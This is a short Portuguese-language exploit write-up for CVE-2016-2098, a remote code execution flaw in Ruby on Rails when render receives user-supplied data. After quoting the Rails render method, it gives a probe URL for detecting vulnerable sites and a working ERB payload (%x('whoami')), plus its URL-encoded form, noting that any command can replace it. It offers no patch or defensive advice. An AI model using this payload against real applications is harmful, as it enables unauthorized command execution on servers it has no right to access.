
Vulnerabilidade de execução remota de código no Ruby-on-Rails ao usar render em dados fornecidos pelo usuário.
Vulnerabilidade de execução remota de código no Ruby-on-Rails ao usar render em dados fornecidos pelo usuário.
Este problema vem do uso do método render em dados fornecidos pelo usuário.
O método render é normalmente usado para renderizar uma página a partir de um template, mas o método render também permite que desenvolvedores renderizem texto simples (plaintext) e até código inline (inline).
render function:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
URL alvo:
http://example.com/?view=test
Exploração:
http://example.com/?view[inline]=OK
Se 'OK' aparecer no código-fonte, então a aplicação web é vulnerável ao CVE-2016-2098.
<%= %x('[CMD]') %>
Podemos substituir CMD pelo comando que queremos executar.
<%= %x('whoami') %>
Após codificação URL:
%3C%25=%20%25x(whoami)%20%25%3E
Final:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E